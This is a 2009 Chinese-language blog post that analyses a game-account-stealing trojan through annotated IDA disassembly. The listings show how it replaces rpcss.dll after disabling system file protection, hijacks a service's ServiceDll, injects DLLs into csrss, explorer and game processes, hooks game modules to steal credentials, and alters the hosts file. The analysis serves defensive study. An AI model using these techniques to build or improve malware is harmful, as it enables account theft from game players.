分析某个游戏木马

【文章标题】分析某个游戏木马
【文章作者】ZzAge
【文章目标】游戏木马
【相关工具】IDA
【作者 Q Q】85400516
【作者邮箱】zzage@163.com
【作者主页】http://hi.baidu.com/zzage
【文章日期】2009年01月10日

此木马会替换系统文件,修改注册表,替换服务.达到随系统启动,修改hosts文件,屏蔽大部分游戏网站,然后利用HOOK技术盗窃游戏账号的相关信息。

1:复制内容到剪贴板代码:
.Upack:004021DF                 lea     eax, [ebp+FileName]
.Upack:004021E5                 push    eax             ; Dest
.Upack:004021E6                 call    sub_402305      ; 取临时文件夹+ ~%06x.~~~文件名的路径
2:复制内容到剪贴板代码:
.Upack:004021F9                 lea     eax, [ebp+FileName]
.Upack:004021FF                 push    eax             ; lpFileName
.Upack:00402200                 push    65h             ; __int16
.Upack:00402202                 push    offset nNumberOfBytesToWrite ; nNumberOfBytesToWrite
.Upack:00402207                 push    0               ; hModule
.Upack:00402209                 call    sub_402348      ; 释放资源到以上取的路径3:复制内容到剪贴板代码:
.Upack:0040225F                 lea     eax, [ebp+Dest]
.Upack:00402265                 push    eax             ; Dest
.Upack:00402266                 push    (offset aR19029_exerund+0Ch) ; int
.Upack:0040226B                 call    sub_402417      ; 取系统目录+rundll32.exe文件路径4:复制内容到剪贴板代码:
.Upack:0040227E                 lea     eax, [ebp+NewFileName]
.Upack:00402284                 push    eax             ; Dest
.Upack:00402285                 push    offset aR19029_exerund ; int
.Upack:0040228A                 call    sub_402417      ; 取系统目录+r19029.exe文件路径
.Upack:0040228F                 add     esp, 30h5:
复制内容到剪贴板代码:
.Upack:00402299                 lea     eax, [ebp+NewFileName]
.Upack:0040229F                 push    1               ; bFailIfExists
.Upack:004022A1                 push    eax             ; lpNewFileName
.Upack:004022A2                 lea     eax, [ebp+Dest]
.Upack:004022A8                 push    eax             ; lpExistingFileName
.Upack:004022A9                 call    CopyFileA       ; 把系统目录+rundll32.exe复制到系统目录+r19029.exe6:复制内容到剪贴板代码:
.Upack:004022B6                 lea     eax, [ebp+Filename]
.Upack:004022BC                 push    eax
.Upack:004022BD                 lea     eax, [ebp+FileName]
.Upack:004022C3                 push    eax
.Upack:004022C4                 lea     eax, [ebp+NewFileName]
.Upack:004022CA                 push    eax
.Upack:004022CB                 lea     eax, [ebp+Source]
.Upack:004022D1                 push    eax             ; LPCSTR
.Upack:004022D2                 lea     eax, [ebp+CommandLine]
.Upack:004022D8                 push    eax             ; LPSTR
.Upack:004022D9                 call    wsprintfA       ; 输出连接字符串‘C:\windows\system32\r19029.exe 释放的资源路径 ins 当前文件路径 7:复制内容到剪贴板代码:
.Upack:004022ED                 lea     eax, [ebp+CommandLine]
.Upack:004022F3                 push    eax             ; lpCommandLine
.Upack:004022F4                 call    sub_4023C3      ; 用r19029.exe带参数加载运行调用自身释放出来的文件的导出函数(INS)----------------------------------------------------------------------------
下面分析的是EXE释放出来的dll文件
1:复制内容到剪贴板代码:
.data:10013231                 call    sub_1001389A    ; 提升当前进程的权限
.data:10013236                 push    offset String   ; lpString
.data:1001323B                 mov     ebx, offset String2 ; "expl~~@orer.exe"
.data:10013240                 push    offset SubStr   ; "~~@"
.data:10013245                 push    ebx             ; Source
.data:10013246                 call    sub_10013BDB    ; 去掉expl~~@orer.exe中的~~@字符串
.data:1001324B                 mov     esi, StrStrIA
.data:10013251                 add     esp, 0Ch
.data:10013254                 mov     edi, offset byte_10011508
.data:10013259                 push    offset aCsrss_exe ; "csrss.exe"
.data:1001325E                 push    edi
.data:1001325F                 call    esi ; StrStrIA
.data:10013261                 test    eax, eax
.data:10013263                 jz      short loc_10013273 ; 比较当前的父进程是否为csrss.exe,是则不跳
.data:1001326C                 call    sub_1001335A    ; 创建shcsrss.exeEvent的事件对象和创建csrss.exeMutex互斥体,查找系统目录下文件名为sh00*.dll-shff*.dll的文件
.data:10013271                 jmp     short loc_100132BE2:复制内容到剪贴板代码:
.data:10013273                 push    ebx
.data:10013274                 push    edi
.data:10013275                 call    esi ; StrStrIA
.data:10013277                 test    eax, eax
.data:10013279                 jz      short loc_100132A6 ; 比较当前的父进程是否为explorer.exe,是则不跳
.data:1001327B                 call    sub_1001343B    ; 查找系统目录下文件名为sh00*.dll-shff*.dll的文件
.data:10013280                 call    sub_100134B7    ; 创建一个互斥体
.data:1001328C                 call    sub_100132C2
.data:10013298                 push    ds:hModule      ; hLibModule
.data:1001329E                 call    FreeLibrary
.data:100132A4                 jmp     short loc_100132BE3:复制内容到剪贴板代码:
.data:100132A6                 push    offset aSvchost_exe ; "svchost.exe"
.data:100132AB                 push    edi
.data:100132AC                 call    esi ; StrStrIA
.data:100132AE                 test    eax, eax
.data:100132B0                 jz      short loc_100132BE ; 比较当前的父进程是否为svchost.exe,是则不跳
.data:100132B9                 call    sub_10013309    ; 提升当前进程的权限,替换服务,系统目录+sh19029.dll插入csrss.exe进程4:复制内容到剪贴板代码:
.data:10012FC3                 lea     eax, [ebp+Dest]
.data:10012FC9                 push    eax             ; Dest
.data:10012FCA                 push    offset aCsrss_dll ; "csrss.dll"
.data:10012FCF                 call    sub_1001376E    ; 取系统目录+csrss.dll的路径
.data:10012FD4                 mov     edi, CopyFileA
.data:10012FDA                 pop     ecx
.data:10012FDB                 pop     ecx
.data:10012FDC                 lea     eax, [ebp+Dest]
.data:10012FE2                 push    0               ; bFailIfExists
.data:10012FE4                 mov     ebx, offset Buffer
.data:10012FE9                 push    eax             ; lpNewFileName
.data:10012FEA                 push    ebx             ; lpExistingFileName
.data:10012FEB                 call    edi ; CopyFileA ; 把自身的复制为系统目录+csrss.dll
.data:10012FF4                 lea     eax, [ebp+pszPath]
.data:10012FFA                 push    eax             ; Dest
.data:10012FFB                 push    offset aSpcss_dll ; "spcss.dll"
.data:10013000                 call    sub_1001376E    ;  取系统目录+spcss.dll的路径
.data:10013005                 lea     eax, [ebp+hFile]
.data:1001300B                 push    eax             ; Dest
.data:1001300C                 push    offset aRpcss_dll ; "rpcss.dll"
.data:10013011                 call    sub_1001376E    ; 取系统目录+rpcss.dll的路径
.data:1001301D                 lea     eax, [ebp+hFile]
.data:10013023                 push    eax             ; lpMultiByteStr
.data:10013024                 call    sub_10012F44 ; 调用sfc_os.dll的函数,来关闭对系统文件的保护
.data:10013030                 lea     eax, [ebp+FileName]
.data:10013036                 push    eax             ; Dest
.data:10013037                 push    offset a__Servicepackf ; "..\\ServicePackFiles\\i386\\rpcss.dll"
.data:1001303C                 call    sub_1001376E    ; 取系统目录+..\\ServicePackFiles\\i386\\rpcss.dll的路径
.data:10013041                 mov     esi, DeleteFileA
.data:10013047                 add     esp, 1Ch
.data:1001304A                 lea     eax, [ebp+FileName]
.data:10013050                 push    eax             ; lpFileName
.data:10013051                 call    esi ; DeleteFileA ; 删除系统目录+..\\ServicePackFiles\\i386\\rpcss.dll文件
.data:1001305A                 lea     eax, [ebp+FileName]
.data:10013060                 push    eax             ; Dest
.data:10013061                 push    offset aDllcacheRpcss_ ; "dllcache\\rpcss.dll"
.data:10013066                 call    sub_1001376E    ; 取系统目录+dllcache\\rpcss.dll的路径
.data:1001306B                 pop     ecx
.data:1001306C                 lea     eax, [ebp+FileName]
.data:10013072                 pop     ecx
.data:10013073                 push    eax             ; lpFileName
.data:10013074                 call    esi ; DeleteFileA ; 删除系统目录+dllcache\\rpcss.dll
.data:10013076                 lea     eax, [ebp+pszPath]
.data:1001307C                 push    eax             ; pszPath
.data:1001307D                 call    PathFileExistsA ; 检测系统目录+spcss.dll路径是否有效
.data:1001307D                                         ;
.data:10013083                 test    eax, eax
.data:10013085                 jnz     short loc_100130A4
.data:1001308E                 lea     eax, [ebp+pszPath]
.data:10013094                 push    1               ; dwFlags
.data:10013096                 push    eax             ; lpNewFileName
.data:10013097                 lea     eax, [ebp+hFile]
.data:1001309D                 push    eax             ; lpExistingFileName
.data:1001309E                 call    MoveFileExA     ; 把系统目录+rpcss.dll文件移动为系统目录+spcss.dll
.data:1001309E                                         ;
.data:100130A4
.data:100130A4 loc_100130A4:                           ; CODE XREF: sub_10012FB0+D5 j
.data:100130A4                 lea     eax, [ebp+hFile]
.data:100130AA                 push    0               ; bFailIfExists
.data:100130AC                 push    eax             ; lpNewFileName
.data:100130AD                 push    ebx             ; lpExistingFileName
.data:100130AE                 call    edi ; CopyFileA ; 把自身复制到系统目录+rpcss.dll
.data:100130B0                 lea     eax, [ebp+pszPath]
.data:100130B6                 push    eax             ; int
.data:100130B7                 lea     eax, [ebp+hFile]
.data:100130BD                 push    eax             ; hFile
.data:100130BE                 call    sub_10013B15    ; 把系统目录+rpcss.dll的文件创建时间设置为系统目录+spcss.dll文件的创建时间
.data:100130CA                 lea     eax, [ebp+FileName]
.data:100130D0                 push    eax             ; Dest
.data:100130D1                 push    offset aSh19029_dll ; "sh19029.dll"
.data:100130D6                 call    sub_1001376E    ; 取系统目录+sh19029.dll路径
.data:100130DB                 lea     eax, [ebp+FileName]
.data:100130E1                 push    eax             ; lpFileName
.data:100130E2                 push    65h             ; __int16
.data:100130E4                 push    offset nNumberOfBytesToWrite ; "BIN"
.data:100130E9                 push    ds:hModule      ; hModule
.data:100130EF                 call    sub_100135E1    ; 释放文件到系统目录+sh19029.dll
.data:100130FB                 lea     eax, [ebp+pszPath]
.data:10013101                 push    eax             ; int
.data:10013102                 lea     eax, [ebp+FileName]
.data:10013108                 push    eax             ; hFile
.data:10013109                 call    sub_10013B15    ; 把系统目录+sh19029.dll的文件创建时间设置为系统目录+spcss.dll文件的创建时间
.data:1001310E                 add     esp, 28h
.data:10013111                 pop     edi
.data:10013112                 pop     esi
.data:10013113                 pop     ebx
.data:10013114                 leave
.data:10013115                 retn5:复制内容到剪贴板代码:
.data:1001369B                 push    [ebp+arg_0]
.data:1001369E                 lea     eax, [ebp+SubKey]
.data:100136A4                 push    offset Format   ; "SYSTEM\\CurrentControlSet\\Services\\%s"
.data:100136A9                 push    eax             ; Dest
.data:100136AA                 call    sprintf         ; 取SYSTEM\CurrentControlSet\Services\rpcss注册表路径
.data:100136B0                 add     esp, 0Ch
.data:100136BA                 lea     eax, [ebp+hKey]
.data:100136BD                 push    eax             ; phkResult
.data:100136BE                 push    0F003Fh         ; samDesired
.data:100136C3                 lea     eax, [ebp+SubKey]
.data:100136C9                 push    0               ; ulOptions
.data:100136CB                 push    eax             ; lpSubKey
.data:100136CC                 push    [ebp+hKey]      ; hKey
.data:100136CF                 call    RegOpenKeyExA   ; 打开SYSTEM\CurrentControlSet\Services\rpcss注册表
.data:100136DC                 test    eax, eax
.data:100136DE                 jnz     short loc_1001374C
.data:100136E7                 mov     esi, lstrlenA
.data:100136ED                 mov     edi, offset Data ; "LocalSystem"
.data:100136F2                 push    edi             ; lpString
.data:100136F3                 call    esi ; lstrlenA
.data:100136F5                 inc     eax
.data:100136F6                 push    eax             ; cbData
.data:100136F7                 push    edi             ; lpData
.data:100136F8                 mov     edi, RegSetValueExA
.data:100136FE                 push    2               ; dwType
.data:10013700                 push    0               ; Reserved
.data:10013702                 push    offset ValueName ; "ObjectName"
.data:10013707                 push    [ebp+hKey]      ; hKey
.data:1001370A                 call    edi ; RegSetValueExA ; 设置ObjectName注册表项的值为LocalSystem
.data:1001370C                 test    eax, eax
.data:1001370E                 jnz     short loc_1001374C
.data:10013717                 lea     eax, [ebp+phkResult]
.data:1001371A                 push    eax             ; phkResult
.data:1001371B                 push    offset SubKey   ; "Parameters"
.data:10013720                 push    [ebp+hKey]      ; hKey
.data:10013723                 call    RegOpenKeyA     ; 打开Parameters注册表项
.data:10013729                 test    eax, eax
.data:1001372B                 jnz     short loc_1001374C
.data:10013734                 push    [ebp+lpData]    ; lpString
.data:10013737                 call    esi ; lstrlenA
.data:10013739                 inc     eax
.data:1001373A                 push    eax             ; cbData
.data:1001373B                 push    [ebp+lpData]    ; lpData
.data:1001373E                 push    2               ; dwType
.data:10013740                 push    0               ; Reserved
.data:10013742                 push    offset aServicedll ; "ServiceDll"
.data:10013747                 push    [ebp+phkResult] ; hKey
.data:1001374A                 call    edi ; RegSetValueExA ; 设置ServiceDll注册表项的值为自身的路径
6:
复制内容到剪贴板代码:
.data:1001333B                 push    eax             ; lpThreadId
.data:1001333C                 push    eax             ; dwCreationFlags
.data:1001333D                 push    eax             ; lpParameter
.data:1001333E                 push    offset StartAddress ; lpStartAddress
.data:10013343                 push    eax             ; dwStackSize
.data:10013344                 push    eax             ; lpThreadAttributes
.data:10013345                 call    CreateThread    ; 创建csrss.exemutex互斥体,并把系统目录+sh19029.dll插入csrss.exe进程7:(INS导出函数)复制内容到剪贴板代码:
.data:10013116                 push    ebp
.data:10013117                 mov     ebp, esp
.data:10013119                 sub     esp, 514h
.data:1001311F                 push    esi
.data:10013120                 push    edi
.data:10013128                 lea     eax, [ebp+FileName]
.data:1001312E                 push    eax             ; Dest
.data:1001312F                 push    offset aSh19029_ini ; "sh19029.ini"
.data:10013134                 call    sub_1001376E    ; 取系统目录+sh19029.ini路径
.data:10013140                 mov     edi, 0B40h
.data:10013145                 mov     esi, offset a7??4Hieib3 ; "7??4^HIeib`^3>"
.data:1001314A                 push    edi             ; nNumberOfBytesToWrite
.data:1001314B                 lea     eax, [ebp+FileName]
.data:10013151                 push    esi             ; lpBuffer
.data:10013152                 push    eax             ; lpFileName
.data:10013153                 call    sub_10013B94    ; 把木马指定收信地址的相关信息写入到sh19029.ini路径
.data:1001315F                 push    edi             ; nNumberOfBytesToWrite
.data:10013160                 lea     eax, [ebp+FileName]
.data:10013166                 push    esi             ; lpBuffer
.data:10013167                 push    eax             ; lpFileName
.data:10013168                 call    sub_10013B94    ; 同上
.data:1001316D                 add     esp, 20h
.data:10013177                 call    sub_10012FB0    ; 替换系统文件rpcss.dll,并释放文件到系统目录+sh19029.dll
.data:1001317C                 xor     eax, eax
.data:1001317E                 push    offset Name     ; "shcsrss.exeEvent"
.data:10013183                 push    eax             ; bInitialState
.data:10013184                 push    eax             ; bManualReset
.data:10013185                 push    eax             ; lpEventAttributes
.data:10013186                 call    CreateEventA    ; 创建事件
.data:1001318C                 mov     esi, eax
.data:1001318E                 call    GetLastError
.data:10013194                 cmp     eax, 0B7h
.data:10013199                 jnz     short loc_100131AB
.data:1001319B                 push    esi             ; hEvent
.data:1001319C                 call    SetEvent
.data:100131A2                 push    esi             ; hObject
.data:100131A3                 call    CloseHandle
.data:100131A9                 jmp     short loc_100131F5
.data:100131AB ; ---------------------------------------------------------------------------
.data:100131AB
.data:100131AB loc_100131AB:                           ; CODE XREF: ins+83 j
.data:100131B2                 push    esi             ; hObject
.data:100131B3                 call    CloseHandle
.data:100131B9                 push    offset String   ; lpString
.data:100131BE                 mov     esi, offset String2 ; "expl~~@orer.exe"
.data:100131C3                 push    offset SubStr   ; "~~@"
.data:100131C8                 push    esi             ; Source
.data:100131C9                 call    sub_10013BDB
.data:100131CE                 lea     eax, [ebp+dwProcessId]
.data:100131D4                 push    eax             ; int
.data:100131D5                 push    esi             ; lpString2
.data:100131D6                 call    sub_100137C2    ; 建立进程快照枚举explorer.exe进程
.data:100131E2                 push    offset Buffer   ; lpBuffer
.data:100131E7                 push    [ebp+dwProcessId] ; dwProcessId
.data:100131ED                 call    sub_10013919    ; 把释放出来的sh19029.dll文件插入到explorer.exe进程
.data:100131F2                 add     esp, 1Ch
.data:100131F5
.data:100131F5 loc_100131F5:                           ; CODE XREF: ins+93 j
.data:100131F5                 push    [ebp+lpFileName] ; pszPath
.data:100131F8                 mov     esi, PathFileExistsA
.data:100131FE
.data:100131FE loc_100131FE:                           ; CODE XREF: ins+109 j
.data:100131FE                 call    esi ; PathFileExistsA
.data:10013200                 test    eax, eax
.data:10013202                 jz      short loc_10013221
.data:1001320B                 push    [ebp+lpFileName] ; lpFileName
.data:1001320E                 call    DeleteFileA     ; 删除载体EXE文件
.data:10013214                 push    14h             ; dwMilliseconds
.data:10013216                 call    Sleep
.data:1001321C                 push    [ebp+lpFileName]
.data:1001321F                 jmp     short loc_100131FE
.data:10013221 ; ---------------------------------------------------------------------------
.data:10013221
.data:10013221 loc_10013221:                           ; CODE XREF: ins+EC j
.data:10013221                 pop     edi
.data:10013222                 pop     esi
.data:10013223                 leave
.data:10013224                 retn    10h
-----------------------------------------------------------------------
以下分析文件的记录为以上dll释放出来的dll文件
1:复制内容到剪贴板代码:
.data:2000886D                 call    sub_200075AC    ; 提升当前进程的权限
.data:20008872                 mov     esi, offset aQqhxgame_exe ; "QQhxgame.exe"
.data:20008877                 lea     edi, [ebp+Source]
.data:2000887D                 movsd
.data:2000887E                 movsd
.data:2000887F                 movsd
.data:20008880                 movsb
.data:20008881                 push    3Dh
.data:20008883                 xor     eax, eax
.data:20008885                 pop     ecx
.data:20008886                 lea     edi, [ebp+var_FB]
.data:2000888C                 rep stosd
.data:2000888E                 stosw
.data:20008890                 mov     esi, offset Default
.data:20008895                 mov     ebx, offset SubStr ; "~~@"
.data:2000889A                 stosb
.data:2000889B                 push    esi             ; lpString
.data:2000889C                 lea     eax, [ebp+Source]
.data:200088A2                 push    ebx             ; SubStr
.data:200088A3                 push    eax             ; Source
.data:200088A4                 call    sub_20007D57
.data:200088B0                 lea     eax, [ebp+FileName]
.data:200088B6                 push    eax             ; Dest
.data:200088B7                 push    offset aSh19029_ini ; "sh19029.ini"
.data:200088BC                 call    sub_20007480    ; 取系统目录+sh19029.ini的路径
.data:200088C1                 push    0B40h           ; nNumberOfBytesToRead
.data:200088C6                 lea     eax, [ebp+FileName]
.data:200088CC                 push    offset String2  ; lpBuffer
.data:200088D1                 push    eax             ; lpFileName
.data:200088D2                 call    sub_20007B6A    ; 读取系统目录+sh19029.ini文件的内容到缓冲区
.data:200088DE                 push    esi             ; lpString
.data:200088DF                 push    ebx             ; SubStr
.data:200088E0                 push    offset aExpl@orer_exe ; "expl~~@orer.exe"
.data:200088E5                 call    sub_20007D57    ; 删除expl~~@orer.ex中的~~@字符串
.data:200088EA                 add     esp, 2Ch
.data:200088F4                 mov     esi, StrStrIA
.data:200088FA                 mov     edi, offset byte_2000485C
.data:200088FF                 push    offset aCsrss_exe ; "csrss.exe"
.data:20008904                 push    edi
.data:20008905                 call    esi ; StrStrIA
.data:20008907                 test    eax, eax
.data:20008909                 jnz     short loc_2000894D ; 判断当前父进程是否为csrss.exe,是就跳
.data:2000890B                 push    offset aExpl@orer_exe ; "expl~~@orer.exe"
.data:20008910                 push    edi
.data:20008911                 call    esi ; StrStrIA
.data:20008913                 test    eax, eax
.data:20008915                 jnz     short loc_2000894D ; 判断当前父进程是否为explorer.exe,是就跳
.data:20008917                 lea     eax, [ebp+Source]
.data:2000891D                 push    eax
.data:2000891E                 push    edi
.data:2000891F                 call    esi ; StrStrIA
.data:20008921                 test    eax, eax
.data:20008923                 jz      short loc_20008939 ; 判断当前父进程是否为QQhxgame.exe.是则不跳
.data:2000892C                 mov     ecx, [ebp+var_4]
.data:2000892F                 call    sub_20008B74    ; 创建互斥体,查找qqhxgame.exe进程里面模块tradeclient.dll和controller.dll,对其进行Hook.修改hosts文件,进行域名欺骗或阻止访问一些游戏网站,然后在把得到的相关账号数据,发送到指定的收信地址
.data:20008934                 jmp     loc_200089F0
.data:20008939 ; ---------------------------------------------------------------------------
.data:20008939
.data:20008939 loc_20008939:                           ; CODE XREF: sub_20008857+CC j
.data:20008940                 mov     ecx, [ebp+var_4]
.data:20008943                 mov     eax, [ecx]
.data:20008945                 call    dword ptr [eax+10h] ; 创建互斥体,修改hosts文件,进行域名欺骗或阻止访问一些游戏网站,查找QQhxgame.exe进程里模块名为QQLogin.exe,然后在QQLogin.exe查找tenhx.dll模块,对进行tenhx.dll模块进行Hook,把得到的相关账号数据发送到指定的收信地址
.data:20008948                 jmp     loc_200089F0
.data:2000894D ; ---------------------------------------------------------------------------
.data:2000894D
.data:2000894D loc_2000894D:                           ; CODE XREF: sub_20008857+B2 j
.data:2000894D                                         ; sub_20008857+BE j
.data:20008954                 mov     ecx, [ebp+var_4]
.data:20008957                 call    sub_20008A44    ; 创建互斥体,建立进程快照查找QQhxgame.exe进程,再查找系统目录下的sh19029.dll文件,然后把sh19029.dll文件插进QQhxgame.exe进程
.data:20008963                 lea     eax, [ebp+Dest]
.data:20008969                 push    eax             ; lpBuffer
.data:2000896A                 push    104h            ; nBufferLength
.data:2000896F                 call    GetTempPathA    ; 取临时文件夹路径
.data:20008975                 lea     eax, [ebp+Dest]
.data:2000897B                 push    offset a_       ; "*.~~~"
.data:20008980                 push    eax             ; Dest
.data:20008981                 call    strcat
.data:20008986                 push    6
.data:20008988                 mov     esi, offset aC@md@C@de@lS ; "c~~@md ~~@/c ~~@de~~@l %s"
.data:2000898D                 pop     ecx
.data:2000898E                 lea     edi, [ebp+Format]
.data:20008994                 rep movsd
.data:20008996                 movsw
.data:20008998                 push    3Ah
.data:2000899A                 xor     eax, eax
.data:2000899C                 pop     ecx
.data:2000899D                 lea     edi, [ebp+var_2F6]
.data:200089A3                 rep stosd
.data:200089A5                 stosw
.data:200089A7                 push    offset Default  ; lpString
.data:200089AC                 lea     eax, [ebp+Format]
.data:200089B2                 push    ebx             ; SubStr
.data:200089B3                 push    eax             ; Source
.data:200089B4                 call    sub_20007D57
.data:200089B9                 add     esp, 14h
.data:200089BC                 lea     eax, [ebp+Dest]
.data:200089C2                 push    eax
.data:200089C3                 lea     eax, [ebp+Format]
.data:200089C9                 push    eax             ; Format
.data:200089CA                 lea     eax, [ebp+CmdLine]
.data:200089D0                 push    eax             ; Dest
.data:200089D1                 call    sprintf
.data:200089D7                 add     esp, 0Ch
.data:200089E1                 lea     eax, [ebp+CmdLine]
.data:200089E7                 push    0               ; uCmdShow
.data:200089E9                 push    eax             ; lpCmdLine
.data:200089EA                 call    WinExec         ; 运行cmd /c del C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\*.~~~删除*.~~~文件命令

本文由站长原创或收集,不代表本站立场,如若转载,请注明出处:http://www.yesck.com/post/85/

本文 暂无 评论

回复给

欢迎点评

联系我们

站长QQ:8117829

站长邮件:8117829@qq.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code